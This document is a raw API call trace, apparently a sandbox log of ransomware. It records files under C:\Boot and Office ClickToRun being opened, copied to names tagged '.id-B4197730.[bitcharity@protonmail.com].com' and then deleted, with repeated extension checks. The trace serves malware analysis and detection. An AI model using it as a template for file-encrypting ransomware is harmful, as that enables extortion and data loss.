[0286.325] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0286.325] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.325] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=76640) returned 1 [0286.325] CloseHandle (hObject=0x1048) returned 1 [0286.325] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0286.325] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.325] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.325] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.325] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.325] lstrlenW (lpString=".doc") returned 4 [0286.326] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.326] lstrlenW (lpString=".docx") returned 5 [0286.326] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.326] lstrlenW (lpString=".pdf") returned 4 [0286.326] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.326] lstrlenW (lpString=".xls") returned 4 [0286.326] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.326] lstrlenW (lpString=".xlsx") returned 5 [0286.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.326] lstrlenW (lpString=".ppt") returned 4 [0286.326] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString=".zip") returned 4 [0286.326] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.326] lstrlenW (lpString=".rar") returned 4 [0286.326] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.326] lstrlenW (lpString=".bz2") returned 4 [0286.326] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.326] lstrlenW (lpString=".7z") returned 3 [0286.326] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString=".dbf") returned 4 [0286.326] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString=".1cd") returned 4 [0286.326] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString=".jpg") returned 4 [0286.326] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.326] lstrlenW (lpString=".doc") returned 4 [0286.327] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.327] lstrlenW (lpString=".docx") returned 5 [0286.327] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.327] lstrlenW (lpString=".pdf") returned 4 [0286.327] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.327] lstrlenW (lpString=".xls") returned 4 [0286.327] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.327] lstrlenW (lpString=".xlsx") returned 5 [0286.327] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.327] lstrlenW (lpString=".ppt") returned 4 [0286.327] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.327] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.327] lstrlenW (lpString=".zip") returned 4 [0286.327] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.327] lstrlenW (lpString=".rar") returned 4 [0286.327] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.327] lstrlenW (lpString=".bz2") returned 4 [0286.327] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.327] lstrlenW (lpString=".7z") returned 3 [0286.327] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.327] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.327] lstrlenW (lpString=".dbf") returned 4 [0286.327] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.327] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.327] lstrlenW (lpString=".1cd") returned 4 [0286.327] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.327] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0286.327] lstrlenW (lpString=".jpg") returned 4 [0286.327] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.327] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.328] lstrlenW (lpString="memtest.exe.mui") returned 15 [0286.328] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.328] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=45984) returned 1 [0286.328] CloseHandle (hObject=0x1048) returned 1 [0286.328] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0286.328] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.328] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.328] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0286.328] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0286.328] lstrlenW (lpString=".doc") returned 4 [0286.328] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.328] lstrlenW (lpString=".docx") returned 5 [0286.328] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.328] lstrlenW (lpString=".pdf") returned 4 [0286.328] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.328] lstrlenW (lpString=".xls") returned 4 [0286.328] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.328] lstrlenW (lpString=".xlsx") returned 5 [0286.328] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.328] lstrlenW (lpString=".ppt") returned 4 [0286.328] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.329] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0286.329] lstrlenW (lpString=".zip") returned 4 [0286.329] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.329] lstrlenW (lpString=".rar") returned 4 [0286.329] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.329] lstrlenW (lpString=".bz2") returned 4 [0286.329] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.329] lstrlenW (lpString=".7z") returned 3 [0286.329] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.362] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=19136) returned 1 [0288.362] CloseHandle (hObject=0x10ac) returned 1 [0288.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0288.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.363] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.363] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.363] GetLastError () returned 0x0 [0288.363] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0288.377] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0288.378] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.378] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x114, lpOverlapped=0x0) returned 1 [0288.379] SetEndOfFile (hFile=0x10cc) returned 1 [0288.379] CloseHandle (hObject=0x10cc) returned 1 [0288.380] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.380] SetEndOfFile (hFile=0x10ac) returned 1 [0288.381] CloseHandle (hObject=0x10ac) returned 1 [0288.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.381] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0288.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.382] lstrlenW (lpString=".doc") returned 4 [0288.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString=".docx") returned 5 [0288.382] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.382] lstrlenW (lpString=".pdf") returned 4 [0288.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString=".xls") returned 4 [0288.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString=".xlsx") returned 5 [0288.382] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.382] lstrlenW (lpString=".ppt") returned 4 [0288.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.382] lstrlenW (lpString=".zip") returned 4 [0288.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString=".rar") returned 4 [0288.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.382] lstrlenW (lpString=".bz2") returned 4 [0288.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.382] lstrlenW (lpString=".7z") returned 3 [0288.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString=".dbf") returned 4 [0288.383] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString=".1cd") returned 4 [0288.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString=".jpg") returned 4 [0288.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString=".doc") returned 4 [0288.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString=".docx") returned 5 [0288.383] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.383] lstrlenW (lpString=".pdf") returned 4 [0288.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString=".xls") returned 4 [0288.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString=".xlsx") returned 5 [0288.383] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.383] lstrlenW (lpString=".ppt") returned 4 [0288.383] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.383] lstrlenW (lpString=".zip") returned 4 [0288.383] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.383] lstrlenW (lpString=".rar") returned 4 [0288.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.384] lstrlenW (lpString=".bz2") returned 4 [0288.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.384] lstrlenW (lpString=".7z") returned 3 [0288.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.384] lstrlenW (lpString=".dbf") returned 4 [0288.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.384] lstrlenW (lpString=".1cd") returned 4 [0288.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0288.384] lstrlenW (lpString=".jpg") returned 4 [0288.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.384] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.384] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0288.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.384] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=19648) returned 1 [0288.385] CloseHandle (hObject=0x10ac) returned 1 [0288.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0288.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.385] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.385] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.385] GetLastError () returned 0x0 [0288.385] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0288.387] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0288.391] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.391] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x112, lpOverlapped=0x0) returned 1 [0288.391] SetEndOfFile (hFile=0x10cc) returned 1 [0288.391] CloseHandle (hObject=0x10cc) returned 1 [0288.393] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.393] SetEndOfFile (hFile=0x10ac) returned 1 [0288.394] CloseHandle (hObject=0x10ac) returned 1 [0288.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.395] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.395] lstrlenW (lpString=".doc") returned 4 [0288.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.395] lstrlenW (lpString=".docx") returned 5 [0288.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.395] lstrlenW (lpString=".pdf") returned 4 [0288.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.395] lstrlenW (lpString=".xls") returned 4 [0288.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.395] lstrlenW (lpString=".xlsx") returned 5 [0288.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.395] lstrlenW (lpString=".ppt") returned 4 [0288.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString=".zip") returned 4 [0288.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.396] lstrlenW (lpString=".rar") returned 4 [0288.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.396] lstrlenW (lpString=".bz2") returned 4 [0288.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.396] lstrlenW (lpString=".7z") returned 3 [0288.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString=".dbf") returned 4 [0288.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString=".1cd") returned 4 [0288.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString=".jpg") returned 4 [0288.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.396] lstrlenW (lpString=".doc") returned 4 [0288.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.396] lstrlenW (lpString=".docx") returned 5 [0288.396] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.396] lstrlenW (lpString=".pdf") returned 4 [0288.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.396] lstrlenW (lpString=".xls") returned 4 [0288.397] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.397] lstrlenW (lpString=".xlsx") returned 5 [0288.397] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.397] lstrlenW (lpString=".ppt") returned 4 [0288.397] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.397] lstrlenW (lpString=".zip") returned 4 [0288.397] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.397] lstrlenW (lpString=".rar") returned 4 [0288.397] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.397] lstrlenW (lpString=".bz2") returned 4 [0288.397] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.397] lstrlenW (lpString=".7z") returned 3 [0288.397] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.397] lstrlenW (lpString=".dbf") returned 4 [0288.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.397] lstrlenW (lpString=".1cd") returned 4 [0288.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0288.397] lstrlenW (lpString=".jpg") returned 4 [0288.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.397] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.398] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0288.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 